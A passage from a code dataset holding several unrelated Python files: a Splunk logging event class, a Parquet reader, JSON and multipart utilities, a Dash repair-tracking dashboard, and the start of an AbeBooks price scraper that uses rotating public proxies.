'to_json' in dir(o):\n item = o.to_json()\n elif issubclass(o, dict):\n item = o\n else:\n for oa in [x for x in o.__dict__ if not x.startswith('_')]:\n item[oa] = getattr(o, oa)\n list_obj.append(item)\n\n else:\n event_obj = {}\n for x in [attr for attr in self.__dict__ if not attr.startswith('_')]:\n event_obj[x] = getattr(self, x)\n\n data = {}\n data['time'] = self._timestamp\n data['sourcetype'] = self._key\n data['event'] = {\n 'request': self.format_request(),\n 'auth': self._auth,\n 'user': self._user,\n 'eventData': event_obj,\n 'event': self._name,\n }\n return data\n","sub_path":"django_splunk_logging/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"650718057","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport gzip\nimport io\nimport json\nimport logging\nimport os\nimport struct\nimport sys\n\nfrom collections import defaultdict\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from ordereddict import OrderedDict # Python 2.6\n\nimport thriftpy\nfrom thriftpy.protocol.compact import TCompactProtocolFactory\n\nfrom .thrift_filetransport import TFileTransport\nfrom . import encoding\nfrom . import schema\n\nPY3 = sys.version_info > (3,)\n\nif PY3:\n import csv\nelse:\n from backports import csv\n\nTHRIFT_FILE = os.path.join(os.path.dirname(__file__), \"parquet.thrift\")\nparquet_thrift = thriftpy.load(THRIFT_FILE, module_name=\"parquet_thrift\")\n\n\n\nlogger = logging.getLogger(\"parquet\")\n\ntry:\n import snappy\nexcept ImportError:\n logger.warn(\n \"Couldn't import snappy. Support for snappy compression disabled.\")\n\n\nclass ParquetFormatException(Exception):\n pass\n\n\ndef _check_header_magic_bytes(fo):\n \"Returns true if the file-like obj has the PAR1 magic bytes at the header\"\n fo.seek(0, 0)\n magic = fo.read(4)\n return magic == b'PAR1'\n\n\ndef _check_footer_magic_bytes(fo):\n \"Returns true if the file-like obj has the PAR1 magic bytes at the footer\"\n fo.seek(-4, 2) # seek to four bytes from the end of the file\n magic = fo.read(4)\n return magic == b'PAR1'\n\n\ndef _get_footer_size(fo):\n \"Readers the footer size in bytes, which is serialized as little endian\"\n fo.seek(-8, 2)\n tup = struct.unpack(b\" 0:\n for kv in footer.key_value_metadata:\n println(\" {0}={1}\".format(kv.key, kv.value))\n else:\n println(\" (none)\")\n println(\" schema: \")\n for se in footer.schema:\n println(\" {name} ({type}): length={type_length}, \"\n \"repetition={repetition_type}, \"\n \"children={num_children}, \"\n \"converted_type={converted_type}\".format(\n name=se.name,\n type=parquet_thrift.Type._VALUES_TO_NAMES[se.type] if se.type else None,\n type_length=se.type_length,\n repetition_type=_get_name(parquet_thrift.FieldRepetitionType,\n se.repetition_type),\n num_children=se.num_children,\n converted_type=se.converted_type))\n if show_row_group_metadata:\n println(\" row groups: \")\n for rg in footer.row_groups:\n num_rows = rg.num_rows\n bytes = rg.total_byte_size\n println(\n \" rows={num_rows}, bytes={bytes}\".format(num_rows=num_rows,\n bytes=bytes))\n println(\" chunks:\")\n for cg in rg.columns:\n cmd = cg.meta_data\n println(\" type={type} file_offset={offset} \"\n \"compression={codec} \"\n \"encodings={encodings} path_in_schema={path_in_schema} \"\n \"num_values={num_values} uncompressed_bytes={raw_bytes} \"\n \"compressed_bytes={compressed_bytes} \"\n \"data_page_offset={data_page_offset} \"\n \"dictionary_page_offset={dictionary_page_offset}\".format(\n type=_get_name(parquet_thrift.Type, cmd.type),\n offset=cg.file_offset,\n codec=_get_name(parquet_thrift.CompressionCodec, cmd.codec),\n encodings=\",\".join(\n [_get_name(\n parquet_thrift.Encoding, s) for s in cmd.encodings]),\n path_in_schema=cmd.path_in_schema,\n num_values=cmd.num_values,\n raw_bytes=cmd.total_uncompressed_size,\n compressed_bytes=cmd.total_compressed_size,\n data_page_offset=cmd.data_page_offset,\n dictionary_page_offset=cmd.dictionary_page_offset))\n with open(filename, 'rb') as fo:\n offset = _get_offset(cmd)\n fo.seek(offset, 0)\n values_read = 0\n println(\" pages: \")\n while values_read < num_rows:\n ph = _read_page_header(fo)\n # seek past current page.\n fo.seek(ph.compressed_page_size, 1)\n daph = ph.data_page_header\n type_ = _get_name(parquet_thrift.PageType, ph.type)\n raw_bytes = ph.uncompressed_page_size\n num_values = None\n if ph.type == parquet_thrift.PageType.DATA_PAGE:\n num_values = daph.num_values\n values_read += num_values\n if ph.type == parquet_thrift.PageType.DICTIONARY_PAGE:\n pass\n #num_values = diph.num_values\n\n encoding_type = None\n def_level_encoding = None\n rep_level_encoding = None\n if daph:\n encoding_type = _get_name(parquet_thrift.Encoding, daph.encoding)\n def_level_encoding = _get_name(\n parquet_thrift.Encoding, daph.definition_level_encoding)\n rep_level_encoding = _get_name(\n parquet_thrift.Encoding, daph.repetition_level_encoding)\n\n println(\" page header: type={type} \"\n \"uncompressed_size={raw_bytes} \"\n \"num_values={num_values} encoding={encoding} \"\n \"def_level_encoding={def_level_encoding} \"\n \"rep_level_encoding={rep_level_encoding}\".format(\n type=type_,\n raw_bytes=raw_bytes,\n num_values=num_values,\n encoding=encoding_type,\n def_level_encoding=def_level_encoding,\n rep_level_encoding=rep_level_encoding))\n\n\ndef _read_page(fo, page_header, column_metadata):\n \"\"\"Internal function to read the data page from the given file-object\n and convert it to raw, uncompressed bytes (if necessary).\"\"\"\n bytes_from_file = fo.read(page_header.compressed_page_size)\n codec = column_metadata.codec\n if codec is not None and codec != parquet_thrift.CompressionCodec.UNCOMPRESSED:\n if column_metadata.codec == parquet_thrift.CompressionCodec.SNAPPY:\n raw_bytes = snappy.decompress(bytes_from_file)\n elif column_metadata.codec == parquet_thrift.CompressionCodec.GZIP:\n io_obj = io.BytesIO(bytes_from_file)\n with gzip.GzipFile(fileobj=io_obj, mode='rb') as f:\n raw_bytes = f.read()\n else:\n raise ParquetFormatException(\n \"Unsupported Codec: {0}\".format(codec))\n else:\n raw_bytes = bytes_from_file\n\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug(\n \"Read page with compression type {0}. Bytes {1} -> {2}\".format(\n _get_name(parquet_thrift.CompressionCodec, codec),\n page_header.compressed_page_size,\n page_header.uncompressed_page_size))\n assert len(raw_bytes) == page_header.uncompressed_page_size, \\\n \"found {0} raw bytes (expected {1})\".format(\n len(raw_bytes),\n page_header.uncompressed_page_size)\n return raw_bytes\n\n\ndef _read_data(fo, fo_encoding, value_count, bit_width):\n \"\"\"Internal method to read data from the file-object using the given\n encoding. The data could be definition levels, repetition levels, or\n actual values.\n \"\"\"\n vals = []\n if fo_encoding == parquet_thrift.Encoding.RLE:\n seen = 0\n while seen < value_count:\n values = encoding.read_rle_bit_packed_hybrid(fo, bit_width)\n if values is None:\n break # EOF was reached.\n vals += values\n seen += len(values)\n elif fo_encoding == parquet_thrift.Encoding.BIT_PACKED:\n raise NotImplementedError(\"Bit packing not yet supported\")\n\n return vals\n\n\ndef read_data_page(fo, schema_helper, page_header, column_metadata,\n dictionary):\n \"\"\"Reads the datapage from the given file-like object based upon the\n metadata in the schema_helper, page_header, column_metadata, and\n (optional) dictionary. Returns a list of values.\n \"\"\"\n daph = page_header.data_page_header\n raw_bytes = _read_page(fo, page_header, column_metadata)\n io_obj = io.BytesIO(raw_bytes)\n vals = []\n debug_logging = logger.isEnabledFor(logging.DEBUG)\n\n if debug_logging:\n logger.debug(\" definition_level_encoding: %s\",\n _get_name(parquet_thrift.Encoding, daph.definition_level_encoding))\n logger.debug(\" repetition_level_encoding: %s\",\n _get_name(parquet_thrift.Encoding, daph.repetition_level_encoding))\n logger.debug(\" encoding: %s\", _get_name(parquet_thrift.Encoding, daph.encoding))\n\n # definition levels are skipped if data is required.\n definition_levels = None\n num_nulls = 0\n max_definition_level = -1\n if not schema_helper.is_required(column_metadata.path_in_schema[-1]):\n max_definition_level = schema_helper.max_definition_level(\n column_metadata.path_in_schema)\n bit_width = encoding.width_from_max_int(max_definition_level)\n if debug_logging:\n logger.debug(\" max def level: %s bit_width: %s\",\n max_definition_level, bit_width)\n if bit_width == 0:\n definition_levels = [0] * daph.num_values\n else:\n definition_levels = _read_data(io_obj,\n daph.definition_level_encoding,\n daph.num_values,\n bit_width)[:daph.num_values]\n\n # any thing that isn't at max definition level is a null.\n num_nulls = len(definition_levels) - definition_levels.count(max_definition_level)\n if debug_logging:\n logger.debug(\" Definition levels: %s\", len(definition_levels))\n\n # repetition levels are skipped if data is at the first level.\n repetition_levels = None\n if len(column_metadata.path_in_schema) > 1:\n max_repetition_level = schema_helper.max_repetition_level(\n column_metadata.path_in_schema)\n bit_width = encoding.width_from_max_int(max_repetition_level)\n repetition_levels = _read_data(io_obj,\n daph.repetition_level_encoding,\n daph.num_values,\n bit_width)\n\n # TODO Actually use the repetition levels.\n if daph.encoding == parquet_thrift.Encoding.PLAIN:\n read_values = \\\n encoding.read_plain(io_obj, column_metadata.type, daph.num_values - num_nulls)\n if definition_levels:\n it = iter(read_values)\n vals.extend([next(it) if level == max_definition_level else None for level in definition_levels])\n else:\n vals.extend(read_values)\n if debug_logging:\n logger.debug(\" Values: %s, nulls: %s\", len(vals), num_nulls)\n elif daph.encoding == parquet_thrift.Encoding.PLAIN_DICTIONARY:\n # bit_width is stored as single byte.\n bit_width = struct.unpack(\" daph.num_values:\n values = values[0: daph.num_values - total_seen]\n vals += [dictionary[v] for v in values]\n total_seen += len(values)\n else:\n raise ParquetFormatException(\"Unsupported encoding: %s\",\n _get_name(Encoding, daph.encoding))\n return vals\n\n\ndef read_dictionary_page(fo, page_header, column_metadata):\n raw_bytes = _read_page(fo, page_header, column_metadata)\n io_obj = io.BytesIO(raw_bytes)\n return encoding.read_plain(io_obj, column_metadata.type,\n page_header.dictionary_page_header.num_values)\n\n\ndef DictReader(fo, columns=None):\n \"\"\"\n Reader for a parquet file object.\n\n This function is a generator returning an OrderedDict for each row\n of data in the parquet file. Nested values will be flattend into the\n top-level dict and can be referenced with '.' notation (e.g. 'foo' -> 'bar'\n is referenced as 'foo.bar')\n\n :param fo: the file containing parquet data\n :param columns: the columns to include. If None (default), all columns\n are included. Nested values are referenced with \".\" notation\n \"\"\"\n footer = _read_footer(fo)\n keys = columns if columns else [s.name for s in\n footer.schema if s.type]\n\n for row in reader(fo, columns):\n yield OrderedDict(zip(keys, row))\n\ndef reader(fo, columns=None):\n \"\"\"\n Reader for a parquet file object.\n\n This function is a generator returning a list of values for each row\n of data in the parquet file.\n\n :param fo: the file containing parquet data\n :param columns: the columns to include. If None (default), all columns\n are included. Nested values are referenced with \".\" notation\n \"\"\"\n footer = _read_footer(fo)\n schema_helper = schema.SchemaHelper(footer.schema)\n keys = columns if columns else [s.name for s in\n footer.schema if s.type]\n debug_logging = logger.isEnabledFor(logging.DEBUG)\n for rg in footer.row_groups:\n res = defaultdict(list)\n row_group_rows = rg.num_rows\n for idx, cg in enumerate(rg.columns):\n dict_items = []\n cmd = cg.meta_data\n # skip if the list of columns is specified and this isn't in it\n if columns and not \".\".join(cmd.path_in_schema) in columns:\n continue\n\n offset = _get_offset(cmd)\n fo.seek(offset, 0)\n values_seen = 0\n if debug_logging:\n logger.debug(\"reading column chunk of type: %s\",\n _get_name(parquet_thrift.Type, cmd.type))\n while values_seen < row_group_rows:\n ph = _read_page_header(fo)\n if debug_logging:\n logger.debug(\"Reading page (type=%s, \"\n \"uncompressed=%s bytes, \"\n \"compressed=%s bytes)\",\n _get_name(parquet_thrift.PageType, ph.type),\n ph.uncompressed_page_size,\n ph.compressed_page_size)\n\n if ph.type == parquet_thrift.PageType.DATA_PAGE:\n values = read_data_page(fo, schema_helper, ph, cmd,\n dict_items)\n res[\".\".join(cmd.path_in_schema)] += values\n values_seen += ph.data_page_header.num_values\n elif ph.type == parquet_thrift.PageType.DICTIONARY_PAGE:\n if debug_logging:\n logger.debug(ph)\n assert dict_items == []\n dict_items = read_dictionary_page(fo, ph, cmd)\n if debug_logging:\n logger.debug(\"Dictionary: %s\", str(dict_items))\n else:\n logger.warn(\"Skipping unknown page type={0}\".format(\n _get_name(parquet_thrift.PageType, ph.type)))\n\n for i in range(rg.num_rows):\n yield [res[k][i] for k in keys if res[k]]\n\nclass JsonWriter(object):\n def __init__(self, out):\n self._out = out\n\n def writerow(self, row):\n json_text = json.dumps(row)\n if type(json_text) is bytes:\n json_text = json_text.decode('utf-8')\n self._out.write(json_text)\n self._out.write(u'\\n')\n\ndef _dump(fo, options, out=sys.stdout):\n\n # writer and keys are lazily loaded. We don't know the keys until we have\n # the first item. And we need the keys for the csv writer.\n total_count = 0\n writer = None\n keys = None\n for row in DictReader(fo, options.col):\n if not keys:\n keys = row.keys()\n if not writer:\n writer = csv.DictWriter(out, keys, delimiter=u'\\t', quotechar=u'\\'',\n quoting=csv.QUOTE_MINIMAL) if options.format == 'csv' \\\n else JsonWriter(out) if options.format == 'json' \\\n else None\n if total_count == 0 and options.format == \"csv\" and not options.no_headers:\n writer.writeheader()\n if options.limit != -1 and total_count >= options.limit:\n return\n row_unicode = dict((k, (v.decode(\"utf-8\") if type(v) is bytes else v)) for k, v in row.items())\n writer.writerow(row_unicode)\n total_count += 1\n\n\ndef dump(filename, options, out=sys.stdout):\n with open(filename, 'rb') as fo:\n return _dump(fo, options=options, out=out)\n","sub_path":"desktop/core/ext-py/parquet-1.1/parquet/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"439898188","text":"import base64\nimport time\nimport os\nimport datetime\nimport re\nimport tornado.escape\nimport collections\nimport json\nimport codecs\nimport mimetypes\nimport sys\nimport uuid\nimport io\n\ndef random_key():\n return base64.b64encode(\n os.urandom(30)\n ).decode('utf-8')\n\nclass JsonEncoder(json.JSONEncoder):\n def default(self, value):\n \"\"\"Convert more Python data types to ES-understandable JSON.\"\"\"\n iso = _iso_datetime(value)\n if iso:\n return iso\n if isinstance(value, set):\n return list(value)\n if hasattr(value, 'to_dict'):\n return value.to_dict() \n if isinstance(value, bytes):\n return value.decode('utf-8')\n return super(JsonEncoder, self).default(value)\n\ndef _iso_datetime(value):\n \"\"\"\n If value appears to be something datetime-like, return it in ISO format.\n\n Otherwise, return None.\n \"\"\"\n if isinstance(value, datetime.datetime):\n return value.replace(microsecond=0).isoformat()+'Z'\n elif isinstance(value, datetime.time):\n return value.strftime('%H:%M:%S')\n elif isinstance(value, datetime.date):\n return value.strftime('%Y-%m-%d')\n \ndef json_dumps(obj, **kwargs):\n '''\n Turns a object into a json string.\n\n :param obj: object\n :returns: str\n '''\n return json.dumps(\n obj,\n cls=JsonEncoder,\n **kwargs\n ).replace(\"; rel=\"next\", ; rel=\"last\"\n \n Turns into:\n\n {\n 'next': 'https://api.example.com/1/users?page=2&per_page=1',\n 'last': 'https://api.example.com/1/users?page=3&per_page=1'\n }\n\n :param link_header: str\n :returns: dict\n '''\n links = link_header.split(',')\n parsed_links = {}\n for link in links:\n segments = link.split(';')\n if len(segments) < 2:\n continue\n link_part = segments.pop(0).strip()\n if not link_part.startswith('<') or not link_part.endswith('>'):\n continue\n link_part = link_part[1:-1]\n for segment in segments:\n rel = segment.strip().split('=')\n if len(rel) < 2 or rel[0] != 'rel':\n continue\n rel_value = rel[1]\n if rel_value.startswith('\"') and rel_value.endswith('\"'):\n rel_value = rel_value[1:-1]\n parsed_links[rel_value] = link_part\n return parsed_links\n\n\ndef flatten(d, parent_key='', sep='_'):\n items = []\n for k, v in d.items():\n new_key = parent_key + sep + k if parent_key else k\n if isinstance(v, collections.MutableMapping):\n items.extend(flatten(v, new_key).items())\n else:\n items.append((new_key, v))\n return dict(items)\n\ndef keys_to_remove(keys, d):\n '''\n Removes one or more keys from a dict.\n\n :param keys: list of str\n :param d: dict\n '''\n for key in keys:\n if key in d:\n del d[key]\n\ndef keys_to_keep(keys, d):\n '''\n Removes keys from d that are not in `keys`.\n\n :param keys: list of str\n :param d: dict\n '''\n for key in d:\n if key not in keys:\n del d[key]\n\n# From http://stackoverflow.com/a/18888633\nclass MultipartFormdataEncoder(object):\n def __init__(self):\n self.boundary = uuid.uuid4().hex\n self.content_type = 'multipart/form-data; boundary={}'.format(self.boundary)\n\n @classmethod\n def u(cls, s):\n if sys.hexversion < 0x03000000 and isinstance(s, str):\n s = s.decode('utf-8')\n if sys.hexversion >= 0x03000000 and isinstance(s, bytes):\n s = s.decode('utf-8')\n return s\n\n def iter(self, fields, files):\n \"\"\"\n fields is a sequence of (name, value) elements for regular form fields.\n files is a sequence of (name, filename, file-type) elements for data to be uploaded as files\n Yield body's chunk as bytes\n \"\"\"\n encoder = codecs.getencoder('utf-8')\n for (key, value) in fields:\n key = self.u(key)\n yield encoder('--{}\\r\\n'.format(self.boundary))\n yield encoder(self.u('Content-Disposition: form-data; name=\"{}\"\\r\\n').format(key))\n yield encoder('\\r\\n')\n if isinstance(value, int) or isinstance(value, float):\n value = str(value)\n yield encoder(self.u(value))\n yield encoder('\\r\\n')\n for (key, filename, fd) in files:\n key = self.u(key)\n filename = self.u(filename)\n yield encoder('--{}\\r\\n'.format(self.boundary))\n yield encoder(self.u('Content-Disposition: form-data; name=\"{}\"; filename=\"{}\"\\r\\n').format(key, filename))\n yield encoder('Content-Type: {}\\r\\n'.format(mimetypes.guess_type(filename)[0] or 'application/octet-stream'))\n yield encoder('\\r\\n')\n yield (fd, len(fd))\n yield encoder('\\r\\n')\n yield encoder('--{}--\\r\\n'.format(self.boundary))\n\n def encode(self, fields, files):\n body = io.BytesIO()\n for chunk, chunk_len in self.iter(fields, files):\n body.write(chunk)\n return self.content_type, body.getvalue()\n\ndef get_files(path, ext, skip=[]):\n files = []\n for dirname, dirnames, filenames in os.walk(path):\n for file_ in filenames:\n info = os.path.splitext(file_)\n if len(info) != 2:\n continue\n if info[1] != ext:\n continue\n if file_ in skip:\n continue\n files.append(\n os.path.join(dirname, file_)\n )\n return files","sub_path":"src/seplis/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"469272987","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nimport pandas as pd\nfrom dash.dependencies import Input, Output\nimport json\nfrom threading import Thread\nimport access_steps\n\nfrom app import app\n\n\ndf = pd.read_csv('Database.csv', dtype={u'UHD':str,u'RMA':str}, dayfirst=True)\n\n\n# Annotations for labels of x-axis\ndef get_label_annotations():\n labels = ['Angenommen', 'Ret. angeboten', 'Ret. angekommen', 'Rep. Angebot', 'Rep. angenommen', 'QS1', 'QS2', 'Shipped']\n\n annotations = []\n\n for i in range(0, len(labels)):\n annotations.append(dict(\n xref='x', yref='y',\n x = (i+0.5), y = -1,\n text=labels[i],\n font=dict(family='Arial', size=14,\n color='rgb(67, 67, 67)'),\n showarrow=False\n ))\n\n return annotations\n\n\n# Annotations for date of last step at the end of the bar\ndef get_date_annotations(df, selected_label):\n annotations = []\n\n for i in df.index.get_values():\n annotations.append(dict(\n text = df.LastStep[i],\n xref = 'x',\n yref = 'y',\n x = df.Status[i],\n y = df[selected_label][i],\n font = dict(\n size = 12,\n color = '#FFFFFF'\n ),\n showarrow = False,\n xanchor = 'right',\n yanchor = 'middle'\n\n ))\n\n return annotations\n\n# Annotations for markers of completed steps\ndef get_step_annotations(df, selected_label):\n annotations = []\n keys = ['DatumBeginn', 'DatumRetAngebot', 'DatumAngekommen',\n 'DatumRepAngebot', 'DatumRepAuftrag', 'QS1', 'QS2',\n 'DateShipped']\n\n for i in df.index.get_values():\n\n for j in range(0,len(keys)):\n\n if not pd.isnull(df[keys[j]][i]):\n\n if keys[j] == 'DateShipped':\n\n annotations.append(dict(\n hovertext = df['ShippingStatus'][i],\n text = ' ',\n xref = 'x',\n yref = 'y',\n x = (j + 0.5),\n y = df[selected_label][i],\n font = dict(\n size = 12,\n color = '#FFFFFF'\n ),\n showarrow = False,\n align='center',\n borderwidth=0,\n borderpad=0,\n bgcolor='#33cc33'\n\n ))\n else:\n\n annotations.append(dict(\n hovertext = df[keys[j]][i],\n text = ' ',\n xref = 'x',\n yref = 'y',\n x = (j + 0.5),\n y = df[selected_label][i],\n font = dict(\n size = 12,\n color = '#FFFFFF'\n ),\n showarrow = False,\n align='center',\n borderwidth=0,\n borderpad=0,\n bgcolor='#33cc33',\n\n ))\n\n # if not pd.isnull(df['DateShipped'][i]):\n #\n # annotations.append(dict(\n # hovertext = df['ShippingStatus'][i],\n # text = ' ',\n # xref = 'x',\n # yref = 'y',\n # x = (j + 0.5),\n # y = df[selected_label][i],\n # font = dict(\n # size = 12,\n # color = '#FFFFFF'\n # ),\n # showarrow = False,\n # align='center',\n # borderwidth=0,\n # borderpad=0,\n # bgcolor='#33cc33'\n #\n # ))\n\n return annotations\n\n\n\nlayout = html.Div([\n\n #dcc.Link('Home', href='/'),\n #html.span(),\n html.Div(className='nav_div', children=[\n html.Div(className='nav', children=[\n dcc.Link('Cockpit', href='/apps/cockpit', id='app_link'),\n ]\n ),\n html.Div(className='nav', children=[\n dcc.Link('Tables', href='/apps/tables', id='app_link'),\n ]\n ),]),\n\n\n html.H1(children='Cockpit'),\n\n html.Div(id='text-content'),\n\n html.Div(className = \"selectors\",\n children= [\n html.Div(className = \"search_fields\",\n children = [\n html.Div(className = \"drop\",\n children= [\n html.Label('Employee select', id='empl'),\n dcc.Dropdown(\n id = 'empl-dropdown',\n options=[\n {'label': 'All', 'value': 'All'},\n {'label': 'Balazs', 'value': u'Sipos'},\n {'label': 'Roman', 'value': u'Rück'},\n {'label': u'Jürgen', 'value': u'Dienstmaier'},\n {'label': 'Mostafa', 'value': u'Enayat'},\n {'label': 'Anil', 'value': u'Burra'}\n ],\n value='All'\n ),\n ]),\n html.Div(className = \"search_text\",\n children = [\n html.Div(className = \"search\",\n children=[\n html.Div(dcc.Input(\n placeholder='Search UHD',\n id='input-UHD',\n type='text')),\n ]),\n html.Div(className = \"search\",\n children=[\n html.Div(dcc.Input(\n placeholder='Search RMA',\n id='input-RMA',\n type='text')),\n ]),\n html.Div(className = \"search\",\n children=[\n html.Div(dcc.Input(\n placeholder='Search Customer',\n id='input-Cust',\n type='text')),\n ]),\n html.Button('Submit', id='button')\n ]),\n ]),\n html.Div(className = \"radio_sum\", children= [\n html.Div(className = \"radio\", children= [\n\n html.Label('Sort by'),\n dcc.RadioItems(\n id = 'sort-radio',\n options=[\n {'label': 'Progress', 'value': 'Status'},\n {'label': 'Waiting', 'value': 'Waiting'}\n ],\n value='Status'\n ),\n ]),\n\n html.Div(className = \"radio\", children= [\n\n html.Label('Show records'),\n dcc.RadioItems(\n id = 'overdue-radio',\n options=[\n {'label': 'All', 'value': 'All'},\n {'label': 'On Time', 'value': False},\n {'label': 'Overdue', 'value': True}\n\n ],\n value='All'\n ),\n ]),\n\n html.Div(className = \"radio\", children= [\n html.Label('Select label'),\n dcc.RadioItems(\n id = 'label-radio',\n options=[\n {'label': 'UHD', 'value': 'UHD'},\n {'label': 'RMA', 'value': 'RMA'},\n {'label': 'Customer', 'value': 'Customer'}\n\n ],\n value='UHD'\n ),\n ]),\n ]),])\n #style = {'display': 'inline-block', 'vertical-align': 'middle'}\n ,\n\n html.Div(className = \"Graph\",\n children = [\n\n dcc.Graph(\n id='selection-graph'\n )\n\n ])\n\n ],\n className='container'\n #style = {'display': 'inline-block', 'width': '80%', 'vertical-align': 'middle'}\n)\n\n\n\n# Update page on event\n@app.callback(\n dash.dependencies.Output('selection-graph', 'figure'),\n [dash.dependencies.Input('empl-dropdown', 'value'),\n dash.dependencies.Input('sort-radio', 'value'),\n dash.dependencies.Input('overdue-radio', 'value'),\n dash.dependencies.Input('label-radio', 'value'),\n dash.dependencies.Input('button', 'n_clicks')],\n [dash.dependencies.State('input-UHD', 'value'),\n dash.dependencies.State('input-RMA', 'value'),\n dash.dependencies.State('input-Cust', 'value')])\n\n\ndef update_figure(selected_empl, selected_sorting, selected_overdue, selected_label, \\\n n_clicks, value_UHD, value_RMA, value_Cust):\n\n # filter df by selected employee\n if selected_empl != 'All':\n filtered_df = df[df.Bearbeiter == selected_empl]\n else:\n filtered_df = df\n\n print(\"UHD: \", value_UHD)\n print(\"Clicks: \", n_clicks)\n\n\n if n_clicks != None:\n if (value_UHD != None and value_UHD != ''):\n filtered_df = filtered_df[filtered_df.UHD == value_UHD]\n elif (value_RMA != None and value_RMA != ''):\n filtered_df = filtered_df[filtered_df.RMA == value_RMA]\n elif (value_Cust != None and value_Cust != ''):\n filtered_df = filtered_df[filtered_df.Customer == value_Cust]\n else:\n filtered_df = filtered_df\n\n # select overdue and on-time data\n if selected_overdue != 'All':\n filtered_df = filtered_df[filtered_df.Overdue == selected_overdue]\n\n\n # sort by progress/waiting\n filtered_df.sort_values(by=selected_sorting, ascending=True, inplace=True)\n\n # Annotations:\n label_annotations = get_label_annotations()\n date_annotations = get_date_annotations(filtered_df, selected_label)\n step_annotations = get_step_annotations(filtered_df, selected_label)\n annotations = label_annotations + step_annotations + date_annotations\n\n data = [\n\n go.Bar(\n name = 'Progress',\n x = filtered_df['Status'],\n y = filtered_df[selected_label],\n ids = filtered_df.UHD, #filtered_df.index.get_values(),\n orientation = 'h',\n hoverinfo = filtered_df['Notizen'],\n text = filtered_df['Titel'] #+ \"Notes: \" + filtered_df['Notizen']\n )\n\n ]\n\n size = 200 + 20*len(filtered_df.UHD)\n\n #print(size)\n\n layout = go.Layout(\n height = size,\n title = 'UHDs',\n annotations=annotations,\n xaxis=dict(\n title='Status',\n showticklabels=False),\n yaxis=dict(\n title=selected_label,\n type = 'category'\n )\n )\n style = dict(\n height = size\n )\n\n return {\n 'data': data,\n 'layout': layout,\n 'style': style\n }\n\n\n@app.callback(\n dash.dependencies.Output('text-content', 'children'),\n [dash.dependencies.Input('selection-graph', 'clickData')]\n)\ndef update_text(clickData):\n\n # if selected_label == 'UHD':\n\n redirect_df = df[df.UHD == str(clickData['points'][0]['y'])]\n UHD = redirect_df.UHD\n\n #print(UHD)\n Thread(target=access_steps.redirect_UHD, args=UHD).start()\n\n return html.H3(\n 'Accessing Steps database for UHD ' + str(clickData['points'][0]['y']) + ', please wait.'\n )\n\n # if selected_label == 'RMA':\n #\n # redirect_df = df[df.RMA == str(clickData['points'][0]['y'])]\n # RMA = redirect_df.RMA\n #\n # print(RMA)\n # #Thread(target=access_steps.redirect_UHD, args=str(clickData['points'][0]['y'])).start()\n #\n # return html.H3(\n # 'Accessing Steps database for RMA ' + str(clickData['points'][0]['y']) + ', please wait.'\n # )\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","sub_path":"app/apps/cockpit.py","file_name":"cockpit.py","file_ext":"py","file_size_in_byte":13787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"401358942","text":"from bs4 import BeautifulSoup\nimport pandas as pd\nimport queue\nimport threading\nimport time\nimport os\nimport random\nimport math\nimport requests\nimport argparse\nfrom typing import List\n\nURL = \"https://www.abebooks.co.uk/servlet/SearchResults?bi=0&bx=off&ds=30&isbn={isbn}&n=200000169&recentlyadded=all&sortby=17&sts=t\"\nOUTPUTFILE = \"out.csv\"\nISBN_FILE = \"./isbn.xlsx\"\nISBN_LIST = []\nTHREAD_LIST : List[threading.Thread] = []\nFAILED_ISBN = set([])\nMAX_RETRIES = 0\nNUM_THREADS = 4\nDEBUG = False\nSLEEP_TIMER = 0.5\nMAX_PROXY_LATENCY = 200\nPROXY_FILE = None\n__RESULTS = []\n__counter = 0\n\n# PROXY LIST FROM PROXYSTORM\n# PROXY_LIST = [\n# '173.208.208.42:19018',\n# '142.54.179.98:19016',\n# '204.12.211.114:19011',\n# '69.30.217.114:19006',\n# '208.110.86.178:19012'\n# ]\n\ntime_between_proxy_rebuilds = None\nPROXY_LIST = set([])\n\n\ndef rebuild_proxylist():\n global PROXY_LIST\n global time_between_proxy_rebuilds\n if time_between_proxy_rebuilds is None:\n time_between_proxy_rebuilds = time.time()\n else:\n _under_3_minutes = 3*60\n if (PROXY_FILE is not None or len(PROXY_LIST) < 4) and (time.time() - time_between_proxy_rebuilds) < _under_3_minutes:\n print(\"[WARNING] Rebuilding Proxy List too Frequently. Cause: Too Many Dead or Offline Proxies. This can drastically slow down Data processing.\")\n \n if PROXY_FILE is not None:\n with open(PROXY_FILE) as fp:\n PROXY_LIST = set([x.strip() for x in fp.readlines()])\n print(\"Proxy List Rebuilt.\")\n if DEBUG:\n print(PROXY_LIST)\n elif len(PROXY_LIST) < 4:\n _url = f\"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout={MAX_PROXY_LATENCY}&country=all&ssl=all&anonymity=all&simplified=true\"\n proxydata = requests.get(_url).text.split(\"\\n\")\n PROXY_LIST = set([x.strip() for x in proxydata if x.strip() != ''])\n print(\"Proxy List Rebuilt.\")\n if DEBUG:\n print(PROXY_LIST)\n\n\ndef get_next_proxy():\n if len(PROXY_LIST) == 0:\n rebuild_proxylist()\n _p = random.choice(tuple(PROXY_LIST))\n return { \n 'http': _p,\n 'https': _p\n }\n\n\ndef remove_dead_proxy(ip):\n global PROXY_LIST\n if ip in PROXY_LIST:\n PROXY_LIST.remove(ip)\n rebuild_proxylist()\n\ndef get_isbns_set():\n return set(pd.read_excel(ISBN_FILE, header=None)[0])\n\ndef add_item(item, cost):\n global __RESULTS\n global __counter\n __counter += 1\n if (__counter % 100) == 0:\n print(f\"Number Processed: {__counter}\")\n write_part()\n __RESULTS.append((item, cost))\n\ndef thread_monitoring():\n global THREAD_LIST\n while True:\n try:\n for t in THREAD_LIST:\n if t.is_alive is False:\n if DEBUG: print(\"Found 